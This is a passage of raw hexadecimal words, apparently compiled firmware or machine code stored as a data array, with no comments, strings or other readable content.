0x59205b74, 0x2900c030, 0x2a7cc002, 0x9d9e3244, 0xa261f000, 0x7decb75f, 0xc0a0020d, 0xd0080a04, 0x74c0a9c1, 0x91e2c000, 0xaa01d208, 0x5a08c200, 0xb74200cc, 0xb74268b5, 0xb7825fad, 0xc000642d, 0xd20891a0, 0xc200aa01, 0x00cc5a08, 0x7635b742, 0x6d2db742, 0x71adb782, 0x7074b77f, 0xf0009dbe, 0xb7ffa161, 0x9dfe5cf4, 0xa261f000, 0x5c6cb71f, 0xf0009d8d, 0x9eb0a162, 0x5becb73f, 0x504cb781, 0xf0009d9d, 0xf208a261, 0x74c0a94a, 0x0e26d011, 0xc2002a71, 0xc0005990, 0xb78391a2, 0x08825ccc, 0xe0030d82, 0xb3312a00, 0x05074422, 0x90a0c001, 0xb7849eb1, 0xb749404d, 0xc005654b, 0xd0327d00, 0xc00061b4, 0x9e5990a2, 0x9080c000, 0x04b7d110, 0x5e10d122, 0xc0025910, 0xcffc0a7c, 0x097c2a01, 0x0148d020, 0x2901cffe, 0x0528c101, 0x6525c101, 0x01b6c101, 0x020d5d05, 0x0a70c09a, 0xa882d208, 0x76400a42, 0x0a48d021, 0x5920c200, 0x3a20c081, 0xb75f3244, 0x9dad626c, 0xa261f000, 0xb784000d, 0xb71f62ac, 0xd11061f4, 0x9d8e0629, 0xa261f000, 0x632cb784, 0x616cb75f, 0x0629d110, 0xf0009dad, 0xb784a261, 0xb7ff6c2c, 0xd1107a74, 0x9dfe0629, 0xa261f000, 0x6cacb784, 0x7b6cb71f, 0x0629d110, 0xf0009d8d, 0x9eb0a261, 0x78ecb75f, 0x6d4cb784, 0x0629d110, 0xf0009dad, 0xb784a261, 0xd1106dcc, 0xb75f0629, 0x9dae7874, 0xa261f000, 0xc09a020d, 0xd2080a38, 0xb7ffaa81, 0xc2806074, 0x024c5a08, 0xaa11f288, 0x0639d110, 0xf0009dfe, 0xc280a261, 0x024c5a0c, 0xaa11f2c8, 0x766cb71f, 0x9d8d0238, 0xa261f000, 0x75f4b71f, 0xf0009d8e, 0x020da261, 0x0a30c09a, 0xa901d208, 0x5f6cb77f, 0x0124d020, 0x5e08d122, 0xf2c8024c, 0x0218aa11, 0xf0009dbd, 0x5908a261, 0xf088012c, 0xd110a951, 0xb77f0535, 0x9dbe5ef4, 0xa161f000, 0x5d080d04, 0x052cc101, 0xa952f0d0, 0x5e6cb79f, 0x0115d120, 0xf0009dcd, 0xb71fa162, 0xb71f6eec, 0x008c5df4, 0x50adb721, 0xf0009d8e, 0x008da0e1, 0x7f2db784, 0xc0007500, 0xb75f9284, 0x9d2d706c, 0xc00eaa61, 0xcff00a7c, 0xb75f2a01, 0x9dae7a74, 0xa261f000, 0x7b6cb77f, 0xf0009dbd, 0x000da261, 0x622cb784, 0x7d00c010, 0x9004c001, 0xc0007640, 0xb71f93a4, 0x9d0e7a74, 0xb73faa61, 0x9d9d78ec, 0xa261f000, 0x7b74b73f, 0xaa619d1e, 0x786cb75f, 0xf0009dad, 0xb75fa261, 0x9d2e7674, 0xb77faa61, 0x9dbd75ec, 0xa261f000, 0xb781000d, 0x9e7164ac, 0x7af4b75f, 0xb7807504, 0x9e72500c, 0xa942d810, 0xa8a5c040, 0x508cb780, 0x7d6cb71f, 0x5d6cb53f, 0xa945c040, 0x5a74b55f, 0xb55f9eb0, 0xb70159ec, 0xb73f552c, 0xb51f7cec, 0xb70156ec, 0xb51f6b54, 0xb72058f4, 0xb53f40ad, 0xc008596c, 0x9eb19204, 0x5449b783, 0xc0007500, 0xb78490e2, 0x750273cd, 0x9144c000, 0xb75f0a02, 0x9dad756c, 0xa261f000, 0x93a0c007, 0xc0037506, 0x000d91a4, 0x54a8b783, 0xc0037504, 0xb7809044, 0x9d9f558c, 0x0ff1cfe8, 0xad05c208, 0x020d9d7a, 0xa545c018, 0x0a34c09a, 0xa982d208, 0x9b28ff34, 0x9e859eab, 0x9b24ff34, 0xc09a020d, 0xd2080a18, 0xc101a881, 0x01b6118a, 0x009c0092, 0xb7899eb0, 0xd1a4612b, 0xb7a459fd, 0xc101754c, 0xc00e05b6, 0x5d872a60, 0x5a0fc200, 0x72c0cc14, 0x12dac101, 0xc40002d8, 0xc0540d80, 0x02da9b71, 0xd09162d1, 0xc1000950, 0xc0105a1b, 0xc0600a00, 0xc0007500, 0x008d9232, 0x772db784, 0x7d3edffd, 0x9144c000, 0xc0045923, 0x12440a02, 0xa261f210, 0x546cb55f, 0x9eb39d83, 0x0c71cfe8, 0x0e80d031, 0x0a16008d, 0xb5840c82, 0xb584642d, 0xc03064ad, 0x75009200, 0x9222c004, 0x90a0c000, 0xc0047504, 0xb7209184, 0xb743430c, 0x74805429, 0x9124c000, 0x54a9b783, 0xb3227504, 0xc0004444, 0xc8019084, 0xb7830d02, 0x750454a9, 0x9124c000, 0x73adb784, 0xc0007506, 0xc4019084, 0x9eb13d00, 0x64cdb784, 0x6455b724, 0x5a10c200, 0x2d1ed011, 0x2a40c006, 0x9e523244, 0x7574b75f, 0x9dae3244, 0xa261f000, 0x008d9ebb, 0x0d80c021, 0x0dd0c03c, 0x6f6cb5df, 0x9260c02f, 0x0a820f9e, 0xb53f14f2, 0x0ec25774, 0x6fecb5bf, 0x6f6cb71f, 0x662cb764, 0xc00074c0, 0x098690ba, 0x90a0c000, 0x576cb73f, 0xd1a451e4, 0xc4005987, 0xc0540d80, 0x9e829aeb, 0xc8209e7a, 0xc0009c8f, 0x19049080, 0xd1f15d07, 0xc01c0e2e, 0xc000753c, 0xffff9094, 0x74809301, 0x90c4c000, 0x0cfec006, 0x7282c810, 0x6fecb73f, 0xc00e9e7b, 0x9e680dfe, 0x6f74b73f, 0x2634d010, 0xc2002134, 0x51405204, 0x31280e8c, 0x08a00c90, 0x32d4776c, 0x6f74b53f, 0x6fecb53f, 0x93c4fffd, 0x6cecb75f, 0xf0009dad, 0xb71fa2e1, 0xb71f7cec, 0xb74070f4, 0x0205622c, 0x3a00c101, 0xf0009d8e, 0x9d8ea261, 0xa161f000, 0x62acb780, 0x69ecb73f, 0xf0009d9d, 0xb780a261, 0xb73f632c, 0x9d9e6974, 0xa261f000, 0x412cb780, 0x68ecb75f, 0xf0009dad, 0xb7a0a261, 0x020b430c, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0x000b92a2, 0x622cb784, 0x7d00c010, 0x91c2c000, 0xb73f9eb0, 0xb78171ec, 0xc0206bcc, 0x9d9d3a00, 0xa261f000, 0x9140c000, 0xb75f9eb1, 0xb78171ec, 0x9dad6bcd, 0xa261f000, 0xb781000d, 0xb71f6cac, 0x9d8e6874, 0xa261f000, 0xb78b008b, 0xb7414f2b, 0x75006d2c, 0x90c2c001, 0x7c82c001, 0x90c4c000, 0x9e92097e, 0x9220c000, 0x292ed3f2, 0x9ea10a7e, 0x2900cff0, 0x592176be, 0x4846b321, 0xb32474be, 0x05034426, 0xc0010109, 0xc1003d04, 0x9e525a20, 0x7274b75f, 0x9dae3228, 0xa261f000, 0x90e0c000, 0x726cb77f, 0xf0009dbd, 0x000da161, 0x6eacb781, 0x67f4b71f, 0xf0009d8e, 0xb781a261, 0xb73f6f2c, 0x9d9d676c, 0xa261f000, 0x59ecb75f, 0x56ecb77f, 0x5a74b77f, 0xb77f6227, 0x1d846d6c, 0x05b8c101, 0x9a11c054, 0x5d6cb79f, 0x58ecb73f, 0x66f4b73f, 0xc00e0040, 0x5820287c, 0x9d9e3002, 0xa061f000, 0xb781000d, 0xb71f6fac, 0x9d8e6674, 0xa261f000, 0x5d6cb79f, 0x596cb73f, 0x65f4b73f, 0x5a20c200, 0x9d9e3242, 0xa261f000, 0x712cb781, 0x656cb75f, 0xf0009dad, 0xb783a261, 0xb75f672a, 0x9dae64f4, 0xa261f000, 0x0902c021, 0x0950c012, 0xf0009dad, 0x000ba261, 0x64acb781, 0xc0017504, 0x9eb09064, 0x646cb73f, 0x6dccb781, 0xf0009d9d, 0xb784a261, 0x750273ac, 0x9162c000, 0x6e4cb781, 0x7374b73f, 0xf0009d9e, 0xc000a261, 0xc00192a0, 0xcffe0a0e, 0xb75f0a7c, 0x9dad736c, 0xa261f000, 0x9140c000, 0xb781000d, 0xb71f702c, 0x9d8e63f4, 0xa261f000, 0x7decb73f, 0xc0a0010b, 0xb7800904, 0x75004029, 0x93c2c000, 0xaa41d008, 0x73f4b73f, 0x5a08c200, 0xb78000cc, 0x9d9e7aad, 0xa261f000, 0x7f2db780, 0x746cb75f, 0xf0009dad, 0xb721a261, 0xb75f43ad, 0x9dae74f4, 0xa0e1f000, 0x9360c001, 0xa942d008, 0xa9a2d248, 0x5d08000b, 0x5e0cd1a2, 0x652ab749, 0x04add110, 0x0a7cc002, 0x7ab5b740, 0x2a01cffc, 0xb71f6245, 0xc10173f4, 0x9d8e0244, 0xa261f000, 0x6d3bd012, 0x5a18c100, 0x5d0b0d0c, 0x7f2db760, 0x6245c101, 0x7474b73f, 0x9d9e0246, 0xa261f000, 0x6127c101, 0x43adb721, 0xc0020124, 0xcffc097c, 0x01222901, 0x74f4b75f, 0xf0009dae, 0xb77fa161, 0xb77f7cec, 0xf0086374, 0x9dbea96d, 0xa161f000, 0xb781000d, 0xb71f70ac, 0x9d8e62f4, 0xa261f000, 0x7d6cb73f, 0x57a9b786, 0xc0007500, 0xb7899164, 0x750254a9, 0x90c4c000, 0x3900c080, 0xa16df008, 0x0a7ec7fe, 0x7c74b73f, 0xf0009d9e, 0xc401a261, 0xc5000a02, 0xb75f0a00, 0x9dad796c, 0xa261f000, 0x999cff54, 0x510cb780, 0x9e709e73, 0x0769d110, 0x508cb780, 0x6eecb73f, 0xb78001b8, 0xb57f500c, 0x000860ec, 0x518cb780, 0x5fecb51f, 0xb59f0218, 0xc00857ec, 0x74809000, 0x0f821a04, 0x0ff2d001, 0x70880882, 0x0892d001, 0xb7a077c0, 0xc0004314, 0x048b9142, 0x554db761, 0x4f53b74b, 0xc0020906, 0x9e6c9100, 0x7bf4b75f, 0x0a48c0aa, 0xa901d208, 0xaa41d010, 0xc0027104, 0x04dc9028, 0x5749b78c, 0xc0007500, 0xb78c9204, 0x75005649, 0x9164c000, 0x0d029e68, 0x4f2ab78b, 0xd0027500, 0xc0000d22, 0x0d069060, 0x7af4b73f, 0xb781040b, 0xb740554c, 0x0244404b, 0x404bb580, 0x91a0c000, 0x5fecb75f, 0x7af4b77f, 0xaa41d008, 0xa1e1d810, 0xd0080a04, 0xb71fa241, 0xf2107aec, 0xb780a929, 0x7104402a, 0xffff11c4, 0x040b91a8, 0x554cb761, 0x9e910902, 0xa09d058d, 0x9b5fff34, 0x57ecb73f, 0xc021020f, 0xb7400a00, 0xc016402d, 0x9dcd0a00, 0xa161f000, 0xff54058d, 0x9ebb9968, 0xc4000992, 0xfef40d02, 0xc4009bc0, 0xb73f0a02, 0x9d9e7c74, 0xa261f000, 0xa941d208, 0x7bf4b75f, 0x430cb720, 0xd2080904, 0xd010a141, 0xb77faa41, 0xc00e7dec, 0x0218297c, 0x0a40c0aa, 0xa962d008, 0xaa11d208, 0x02c47680, 0x90a4c000, 0x732db784, 0x77c002d8, 0x90e4c000, 0x19d4d012, 0xffb49e73, 0xb7209971, 0x0203430c, 0x0a10c0aa, 0xaa01d208, 0xc0017500, 0xb77f90a2, 0x02037bf4, 0x0a48c0aa, 0xa901d208, 0xaa61d010, 0xc0017104, 0xb7ff93a8, 0xd20860f4, 0xd210a941, 0x7088aa61, 0x9288c001, 0x6aadb705, 0x9e739eab, 0x9c629e84, 0x520cb780, 0x9ea0058d, 0xa049c200, 0x9080c001, 0x009cc101, 0x5629b78c, 0xc0007500, 0x9e6993e2, 0x520cb740, 0x64adb781, 0xc0007504, 0x9e919124, 0x0a44c002, 0xa249c210, 0x91a0c000, 0x0665d110, 0xd2080d7e, 0x0908a901, 0xc8109e93, 0xd2087286, 0x058da102, 0x98fbff54, 0x988eff54, 0x430cb780, 0x0a30c0a8, 0xaa01d208, 0xc0007500, 0xb7ff9164, 0xd20860f4, 0xd210a941, 0x7088aa61, 0x9366fff7, 0x430cb740, 0xc0a60205, 0xd2080a50, 0x7500aa01, 0x90a2c000, 0xc0000a06, 0xc1019220, 0x0109022c, 0x0940c0a6, 0x0a60c0a6, 0xaa01d208, 0xa955d008, 0x0a027104, 0x0a42d001, 0x0309058d, 0x98b1ff54, 0x09929ebb, 0x0d02c100, 0x9b09fef4, 0x2b7ccffe, 0x0a02c100, 0x7c6cb71f, 0xf0009d8d, 0xb71fa261, 0xb7a07bf4, 0x0e86430c, 0x4048b780, 0x6a6cb73f, 0x020b02d8, 0x0a60c0ae, 0x0ac0c0aa, 0xaab1d208, 0xaa01d208, 0x1a8402d8, 0xf0009d9d, 0xb73fa2e2, 0x9d9e6af4, 0xa2e2f000, 0x5af4b77f, 0xc0069e6a, 0x0d0209f2, 0x983bfeb4, 0x9e6a9ebb, 0xc0380d02, 0xfeb409f2, 0x9eab9834, 0xffb49e73, 0x758098ad, 0x90a4c000, 0xc000010d, 0xb7209280, 0xb786430c, 0x750056a9, 0x90a4c000, 0xc0009e6a, 0xb75f9140, 0xd0087dec, 0x0902aa41, 0xd0017500, 0x9e950922, 0xcffe7580, 0xc0002efc, 0xb7209124, 0xb787430c, 0x75004f29, 0x9102c002, 0x0a82c008, 0x7c74b75f, 0xf0009dae, 0xb77fa2e1, 0x9d3d79ec, 0xc401a961, 0xc0080a02, 0xb77f0a00, 0x9dbe7974, 0xa261f000, 0x3940c002, 0xf0009dbd, 0x9ebba161, 0x09929eaa, 0x9a8dfef4, 0xb7ff0a02, 0x9dfe7974, 0xa261f000, 0x7c6cb71f, 0xf0009d8d, 0xb71fa2e1, 0x9d0e6b74, 0xb73fa9e1, 0x9d1d6bec, 0xb73faa61, 0x9d1e72f4, 0x7680a962, 0x9202c000, 0x6e74b77f, 0x5a35c180, 0xf0102a7c, 0xd110a961, 0x11281525, 0x1aa0d111, 0x9060c000, 0xb7400a82, 0x058d430c, 0xc0a60986, 0xd008095c, 0x0a04aa41, 0xa241d008, 0x430cb740, 0x012cc101, 0x0960c04e, 0xaa41d008, 0xd0080a04, 0xff14a241, 0x758098ac, 0x9162c000, 0x430cb720, 0x590cc280, 0x43adb785, 0xb5850244, 0x774043ad, 0x9242c000, 0x430cb780, 0xc0a69ea2, 0xc0aa0a5c, 0xd2080d4c, 0xd010a901, 0x7088aa41, 0xb3540a02, 0x9ea54828, 0x7becb79f, 0x4314b700, 0x7df4b7ff, 0xa901d208, 0xd2109e44, 0xc101a9e2, 0x01850120, 0x0a30c09a, 0x09e0c0ae, 0x0940c0aa, 0xd208040c, 0xd008a902, 0xd008a8e2, 0xb709a951, 0x76c07c50, 0x0a029e69, 0x0a42d001, 0x058d018b, 0xa219a01e, 0xff34a315, 0x758099d1, 0x9282c000, 0x716cb71f, 0x430cb720, 0xb7809d0b, 0x058d4028, 0xc2000992, 0x00c25a08, 0x7ab5b742, 0x0971cfe8, 0x985afeb4, 0x430cb720, 0x6a33b743, 0xc0067680, 0xb7839184, 0x87825d2d, 0x75020902, 0x87b2e00a, 0x75049de0, 0x0922d001, 0x0a027508, 0x0a42d001, 0xd0407600, 0xc0003128, 0x9e5490a2, 0x90e0c000, 0x0a069d44, 0xd0017440, 0xc0010a42, 0xc200853e, 0x0e825a08, 0x8500cfc0, 0x586cb59f, 0x4018b960, 0x2e5ed3f1, 0xd0117506, 0xc00012da, 0xb73f90c2, 0x9d1e77f4, 0xb75faae1, 0x9d2d776c, 0xb75fa9e1, 0x9d2e76f4, 0xb7ffa9e2, 0xb7205874, 0xd0104314, 0x047a045a, 0xd0100400, 0xd1200482, 0xb7230083, 0xb7846aab, 0x9e9a4ecb, 0xc03e9d48, 0x12422d7c, 0x0244c101, 0x4ecbb584, 0x4314b720, 0x59084904, 0x0482d010, 0x0083d120, 0x012ac101, 0x50cbb784, 0x70abb723, 0x0124d020, 0x12429d4b, 0x59a921b4, 0xb5840246, 0xb72050cb, 0x010b4314, 0x297cc03e, 0x0482d010, 0x0083d120, 0x7aabb723, 0x52cbb784, 0xc03e0787, 0x12422ffc, 0xb5840244, 0xb72052cb, 0x9d4f430c, 0xc1019d7e, 0x00820402, 0xb7849ddf, 0xb70454ab, 0x215644d2, 0x9dfc25be, 0xc1015929, 0xc3ff1240, 0x02442ac0, 0x5da977c0, 0xc2800e84, 0xb58459d1, 0xc00154ab, 0xb72091c4, 0xd0104314, 0xd12004a2, 0xb7230083, 0xb78476ab, 0x124256cb, 0x0246c301, 0x56cbb584, 0x4314b720, 0x04a2d010, 0x0083d120, 0x40abb724, 0x58cbb784, 0xc1011242, 0xb5840246, 0xb72058cb, 0xd0104314, 0xd12004a2, 0xb7240083, 0xb7844aab, 0x12425acb, 0xb5840246, 0xfffa5acb, 0xb72093e1, 0x0203430c, 0x0a50c0a6, 0xaa01d208, 0xc0007500, 0xc1019204, 0xb71f021c, 0xc0a67bec, 0xd2080a40, 0xb740aa15, 0x1a044028, 0xc0007088, 0x758092d8, 0x91c2c000, 0x7174b71f, 0x4590b760, 0x6631b74d, 0x4048b740, 0x04879e73, 0x988ffef4, 0x716cb73f, 0xb5800a7f, 0xb7404029, 0xb73f430c, 0x0a7f7bf4, 0x4049b580, 0xc0a60205, 0xd2080a50, 0x7500aa01, 0x92a4c000, 0x02059e92, 0x0a5cc0a6, 0x0d4cc0aa, 0xa901d208, 0xaa41d010, 0xc0007088, 0x058d9108, 0x99e9ff34, 0xffaf7400, 0xb75f9324, 0x0a166dec, 0xa24df008, 0x430cb720, 0xc0a60203, 0xd2080a50, 0x7500aa01, 0x9044c001, 0x55b1b769, 0x5529b749, 0x4614b720, 0x0d060089, 0x9120c000, 0xaa7df088, 0x750a9e8f, 0x4842b327, 0xd051050f, 0x70976a29, 0x01c2c101, 0x0a22d011, 0xc00e0109, 0xffff297c, 0x768091f4, 0x9162c000, 0x4588b780, 0x460cb740, 0x02446a52, 0xf2480906, 0x010fa115, 0x0900c021, 0x0a02c002, 0xf0009dad, 0xc002a261, 0x9dad1a00, 0xa261f000, 0x430cb740, 0x0a869e70, 0x0914c0b6, 0xa942d008, 0x52a0c200, 0x9e510a7f, 0x2242424a, 0xa241d008, 0x99c6ff34, 0x29ded3f2, 0x98a3fef4, 0x67eeb79f, 0x686eb7bf, 0x68eeb7df, 0x696eb7ff, 0x8461cfe6, 0xf0319c22, 0x9e5aaa05, 0x05079e5b, 0x0920c092, 0x09a8c092, 0x0d30c092, 0xd008721b, 0xb584a0c2, 0xd008682d, 0xb584a0e2, 0xb524662d, 0xb5846935, 0xb524672d, 0xb5246a35, 0xd0106b35, 0x0d84a0c2, 0xffce0890, 0xfffe9342, 0xb74493c0, 0xb74466b5, 0xb784692d, 0xb76469ad, 0x5d20662d, 0x2d00cff0, 0x59409e50, 0x29fcc00e, 0x5a60c200, 0x297cc00f, 0x31263240, 0x9dbe3244, 0xa261f000, 0x6cf4b71f, 0x08a00d90, 0xffcf72c0, 0xffff9222, 0xa6059000, 0x0e82c021, 0x994cfe94, 0x0e80c010, 0x9dde0a06, 0xa261f000, 0xfe940d82, 0x0d8a9a37, 0x994afe94, 0x0a02c021, 0x0a40c03c, 0xaa619d4d, 0x0a82c021, 0x438cb580, 0x0ae0c004, 0xaae19d5d, 0x29ded072, 0xfed42afc, 0xb7209959, 0xc0214b8c, 0xc0060a02, 0x01030a50, 0x0964c102, 0xa2c1d008, 0x54a9b5a9, 0xaa619d4d, 0xc0007d1e, 0xc02192c2, 0xc0060a02, 0x9d4d0a40, 0x0a0aa961, 0xf0009dde, 0x74bfa261, 0x9122c000, 0x0a02c021, 0x0a10c002, 0xf0009dcd, 0xc401a161, 0xc0210a02, 0xcff00902, 0x09200a00, 0xf0009dad, 0xb720a261, 0x0a02538c, 0x4814b740, 0x9ea30c96, 0x4708b580, 0x4808b580, 0x018928e1, 0x0ec2c03c, 0x0a82c058, 0x0802c01c, 0x0c02c014, 0x9c87c020, 0x2d3ed3f1, 0xa0c6f010, 0xd0107480, 0xc000a141, 0x9e4390e4, 0xa0ddf1d0, 0x9240c000, 0xaa49f1d0, 0x0a1c7482, 0x2a610246, 0xa25df1d0, 0x4422b303, 0x90c2c000, 0x74869e6b, 0x4432b353, 0x0d500d84, 0x9001ffff, 0x0a02c021, 0x0902c801, 0x0a40c004, 0xf0009dcd, 0x0902a161, 0xb9609e92, 0xc1004018, 0xc0215a08, 0xc10e0a00, 0x9dcd0a40, 0xa162f000, 0xffff0904, 0xc02192c1, 0xc10e0d02, 0x09020d30, 0x53f8b960, 0xc3fe0205, 0xc0012a40, 0x9dae3a08, 0xa261f000, 0xffff0940, 0xc02192e1, 0x0a820a02, 0x0a40c004, 0xf0009dcd, 0xc00aa2e1, 0x9dcd0a50, 0xa2e1f000, 0x9dcd0a10, 0xa2e1f000, 0x0952c123, 0x0960c566, 0x9dcd1a20, 0xa161f000, 0x98e9fe94, 0x0922c829, 0x0940c98e, 0xaa41f008, 0xc0007500, 0x0a0490a2, 0xa241f008, 0x996cfef4, 0xfe949eab, 0x000b9877, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x8460a61d, 0x4b8cb720, 0x09ff0a02, 0x01039e8a, 0x0910c124, 0x0d14c124, 0xa241d008, 0xa241d010, 0xb560a192, 0xb58d4408, 0xb58d5a29, 0xc0215aa9, 0xc0060882, 0x9d1d08d0, 0xc00eaa61, 0x75062a7c, 0x90f2c000, 0xfed40d8a, 0xffff9983, 0xc0219240, 0xc0060902, 0x9d2d0940, 0x9d2dab62, 0x9d2dabe1, 0xa11ea962, 0xa9e19d2d, 0x2eeed1f1, 0x7542a199, 0x9184c001, 0x478cb7c0, 0xf2290e82, 0xd3f1aa55, 0x058d2ede, 0x9eba750a, 0xa89aa91d, 0x018b0e84, 0x90e2c000, 0x98d5fe94, 0xfed49eab, 0x77449983, 0x91a4ffff, 0xfed4058b, 0xa8919953, 0xb5800a16, 0xb79f41ad, 0xb7bf7cee, 0xb7df7d6e, 0xb7ff7dee, 0xc0027e6e, 0x9c228c60, 0xb7609e74, 0xc7f0460c, 0xd2242a00, 0xd0515aa1, 0x02266d59, 0xaa15f248, 0xc000750a, 0xb72091c4, 0xc809470c, 0xccc20d42, 0x02220d40, 0xf2080902, 0xf208a10d, 0x754ea102, 0x93a4c000, 0xb7609e6c, 0xb7404b8c, 0xc0b84408, 0xd0206a42, 0xc01c00c6, 0xb54974be, 0xc0007d49, 0x0a029122, 0x0a40c0b8, 0x00c66229, 0x7db1b5a9, 0xb5890a7f, 0xb5a07dc9, 0xc0104410, 0xc0047f80, 0x058b9142, 0x98b6fe94, 0x9eaba91e, 0x8d00e071, 0xfed4018f, 0xb79f9b07, 0xc01c7468, 0xc000753e, 0xfed490c4, 0xb51f9941, 0xb77f7468, 0x0d067470, 0xc00e55cc, 0xfed42dfc, 0x9e6c9900, 0x4b8cb720, 0x6a42c0b8, 0x7468b77f, 0x008b02c2, 0xb723058b, 0x9ead59ad, 0xc06c030b, 0xf2100ea0, 0xf210aba2, 0xa095a322, 0xb5e3008b, 0xa91d59ad, 0x0b40c06c, 0x5d3dc300, 0xab42f208, 0xa141f208, 0xb7e3aa19, 0x9e5a5aad, 0x5aadb583, 0xfed42d04, 0x008b99ff, 0x7470b77f, 0xa3a2f210, 0xa342f208, 0x5aadb5e3, 0x0d06a915, 0xc00e55cc, 0xb5432dfc, 0xfed459ad, 0xb7409a6e, 0xf0504614, 0x7508aa55, 0x9124c000, 0x460cb760, 0xf0480a06, 0xc000a275, 0x75049180, 0x9124c000, 0x4c8cb720, 0x4029b780, 0xffff7500, 0xb7409224, 0xf088460c, 0x7508aa49, 0x9182c000, 0xfff77504, 0xb74093c4, 0xd0104c14, 0x7500aa41, 0x92e2fff7, 0x460cb760, 0xf0880a06, 0xfff7a269, 0xa91d9200, 0x9ebaa89a, 0x058d9e6b, 0x9bf1fe74, 0xfed4058b, 0xfff7989f, 0xa60d9080, 0x430cb740, 0xc0a80205, 0xd2080a30, 0x7500aa01, 0x92a4c003, 0xc0a69e92, 0xd0100d50, 0x7480a941, 0x92e4c000, 0xd0100a04, 0xb780a241, 0x9e93430c, 0x0a68c0a6, 0xa101d208, 0x98d7fef4, 0x430cb780, 0x0a30c0a8, 0xaa01d208, 0xc0027500, 0xb7209304, 0x0203430c, 0x0a58c0a0, 0xaa01d208, 0xc0027500, 0xb7a991c2, 0xb7c055a9, 0xc0014694, 0xf2109220, 0x750aaa2d, 0x93e4c000, 0x0d869eaa, 0xc00e55e8, 0xfed42dfc, 0xb7209844, 0xb780460c, 0xd3f24688, 0x00e229de, 0x6ca9b580, 0x9b39ff14, 0xf2100a02, 0xc809a22d, 0xc8cc0a42, 0xf2100a50, 0xc001a221, 0xb78990c0, 0x71485529, 0xc0000285, 0x0d929124, 0x9810fed4, 0x430cb720, 0x55a9b7a9, 0x430cb720, 0x4000ba2d, 0x6b59d051, 0x01030203, 0x0a68c0a6, 0x094cc0aa, 0xa902d208, 0xaa41d008, 0x02edd120, 0x1952d011, 0xfffd7299, 0xb79f9386, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0xa61d9c22, 0xb7808420, 0xc0a8430c, 0xd2080a30, 0x7500aa01, 0x9124c009, 0x98d5ff34, 0x430cb720, 0xc0a80203, 0xd2080a30, 0x7680a902, 0x93a4c008, 0x1a58c006, 0xaa01d208, 0xc0047500, 0x02039222, 0x0a48c0aa, 0x54b1b7a9, 0xa901d208, 0x07059e57, 0xa21d1205, 0x612bc101, 0x1e52d011, 0x4001ba3d, 0xc0010344, 0xb78990a0, 0xc1015529, 0x02d8029c, 0x0ac0c0a6, 0x9a12c014, 0xa035d208, 0x430cb720, 0x0a72d011, 0x4000ba3c, 0x5529b789, 0x0669f110, 0x02420f04, 0x01099ea2, 0x0d40c0a6, 0x095cc0a6, 0x90c2c000, 0xaa55d010, 0xa241d008, 0x71dfa91d, 0x9e6b9eb3, 0xb7200364, 0xfffe430c, 0xb78992c4, 0x090255a9, 0x02189e90, 0x0a60c0a6, 0x9c87c820, 0xd2080005, 0xc002a101, 0xb7209020, 0xb789430c, 0xd1105529, 0xc2000609, 0x00c25a08, 0x4fadb505, 0x430cb720, 0x5529b789, 0x0090c101, 0xc0a60098, 0xb76008e0, 0xc0004029, 0xd01091a0, 0xb741aa61, 0xb745552d, 0x62454fd5, 0x0244c101, 0x4fcdb585, 0x430cb720, 0x0932d012, 0x5529b789, 0x9e930116, 0x0609d110, 0x0de0c0ae, 0x5908c200, 0xc0a60242, 0xd2080a40, 0xd020aa15, 0x710600a2, 0xc00e9e53, 0xfffe29fc, 0x0c049392, 0x9021fffe, 0xfed40d82, 0xb7209bc0, 0x0203430c, 0x0a30c0a8, 0xa902d208, 0xc0037680, 0xc0069344, 0xd2081a58, 0x7500aa01, 0x90e2c003, 0xc0aa0203, 0xd2080a48, 0xb749aa01, 0xb7a954a9, 0x070555b1, 0xba2d7104, 0xcfff4001, 0x01890d7e, 0x0d30cffe, 0x6e59d051, 0x4432b323, 0xb7406555, 0xc101460c, 0x9e6e0528, 0xd0310144, 0xc00e1fa2, 0xd17129fc, 0xd0120aa2, 0xa1990fa6, 0x9360c000, 0x9b17feb4, 0x4688b780, 0x29eed3f2, 0xa221d208, 0x9a0fff14, 0x0d42c809, 0x0d50c8cc, 0xe2509e7a, 0xd011a166, 0x0d021a62, 0xa146e050, 0x4000ba34, 0xb7201ad0, 0xd010430c, 0x0906165c, 0x51d0d024, 0x55a9b729, 0xc00ea919, 0x0f042dfc, 0x71021094, 0x931afffe, 0x9080c000, 0x9ad6feb4, 0x430cb780, 0x9ea20d92, 0x0a5cc0a6, 0x0d48c0aa, 0xa901d208, 0xaa41d010, 0xffff7088, 0xb79f9226, 0xb7bf7dee, 0xb7df7e6e, 0xb7ff7eee, 0xc0027f6e, 0xff5b8c20, 0xb79f91e0, 0xb7bf7dee, 0xb7df7e6e, 0xb7ff7eee, 0xc0027f6e, 0x9c228c20, 0xc002a61d, 0xa1968400, 0xaa61d050, 0x4b8cb740, 0x460cb7e0, 0x9ea51a08, 0xc00e0f02, 0x9e6c2efc, 0x6cd3d2f1, 0x6a42c0b8, 0x018b02c4, 0xc06c020b, 0xc06c09a0, 0xb53f0a40, 0xa2997dec, 0xb59fa191, 0x0f867d6c, 0xfe74058b, 0xb7809a3d, 0xc0a6430c, 0xd2080a50, 0xc000ab01, 0xfeb49080, 0xa8999a81, 0x4b8cb760, 0xb74d0d92, 0xb78d5a29, 0xa19d5aa9, 0xffff7088, 0x75809282, 0x91a4c000, 0x430cb720, 0x4708b780, 0x5629b749, 0xc01c2244, 0xffff7d3e, 0xb72090c4, 0xb780430c, 0x058b4488, 0x5629b749, 0xb5804244, 0xfe744488, 0x008b9a0d, 0x5aa9b76d, 0x5a29b78d, 0xc0017106, 0xb75f90e2, 0x9ea97dec, 0x09b2d012, 0xa91d0226, 0x5a10c200, 0x00c4099a, 0x4b2db783, 0x4aadb743, 0x4c35b743, 0x59cdb583, 0x7d6cb79f, 0x4badb723, 0x5ad5b543, 0x2b2ed1f2, 0xa081f208, 0xb540a891, 0xc014402d, 0x9ea998d9, 0x5ac9b50d, 0xfe74058b, 0xb72099dd, 0xe091430c, 0x058d8d00, 0x5a35b743, 0x59adb763, 0x982afed4, 0x7068b79f, 0x753ec01c, 0x90c4c000, 0x995bfe74, 0x7068b51f, 0xc0007782, 0xb77f9142, 0xc2007070, 0xc00e55ec, 0xfeb42dfc, 0xb7609a20, 0xa91d4590, 0x7068b77f, 0xc0b89e5c, 0x00c46a42, 0x5935b743, 0x5d3d9e5a, 0xfeb42d04, 0x77829b39, 0x9142c000, 0x7070b77f, 0x55ecc200, 0x2dfcc00e, 0x9baffeb4, 